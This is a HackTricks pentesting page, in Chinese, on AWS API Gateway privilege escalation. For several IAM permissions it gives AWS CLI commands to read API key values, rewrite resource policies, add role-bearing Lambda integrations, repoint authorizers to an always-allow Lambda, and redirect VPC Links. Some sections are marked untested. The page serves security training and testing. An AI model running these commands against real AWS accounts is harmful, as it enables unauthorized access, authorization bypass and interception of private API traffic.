AWS - Apigateway Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Apigateway

更多信息请参见:

AWS - API Gateway Enum

apigateway:POST

拥有此权限可以为已配置的 APIs 生成 API keys(每个区域)。

aws --region <region> apigateway create-api-key

潜在影响: 你无法使用此技术进行 privesc,但可能获取到敏感信息。

apigateway:GET

拥有此权限,你可以获取已配置 API(按区域)生成的 API 密钥。

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

潜在影响: 使用此技术无法进行 privesc,但可能获取敏感信息。

apigateway:UpdateRestApiPolicy, apigateway:PATCH

拥有这些权限后,可以修改某个 API 的资源策略,赋予自己调用该 API 的权限,并滥用 API gateway 可能具有的访问权限(例如调用易受攻击的 lambda)。

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

潜在影响: 通常情况下,你无法直接通过此技术进行 privesc,但可能会获取敏感信息。

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

需要测试

拥有权限 apigateway:PutIntegrationapigateway:CreateDeploymentiam:PassRole 的攻击者可以向现有的 API Gateway REST API 添加一个新的 integration,该 integration 使用附带 IAM role 的 Lambda function。随后,攻击者可以触发该 Lambda function 执行任意代码,并可能访问与该 IAM role 关联的资源

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: 访问与 Lambda 函数的 IAM 角色关联的资源。

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

需要测试

拥有 apigateway:UpdateAuthorizerapigateway:CreateDeployment 权限的攻击者可以修改现有的 API Gateway 授权器以绕过安全检查(例如将其重新指向一个始终返回 “allow” 的 Lambda),或在 API 请求发生时执行任意代码。

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响: 绕过安全检查,未经授权访问 API 资源。

HTTP APIs / apigatewayv2 变体

对于 HTTP APIs(API Gateway v2),等价操作是通过 apigatewayv2 更新授权器:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

需要测试

具有 apigateway:UpdateVpcLink 权限的攻击者可以 修改现有的 VPC Link,使其指向不同的 Network Load Balancer,可能将私有 API 流量重定向到未授权或恶意的资源.

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Potential Impact: 未经授权访问私有 API 资源、拦截或中断 API 流量。

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks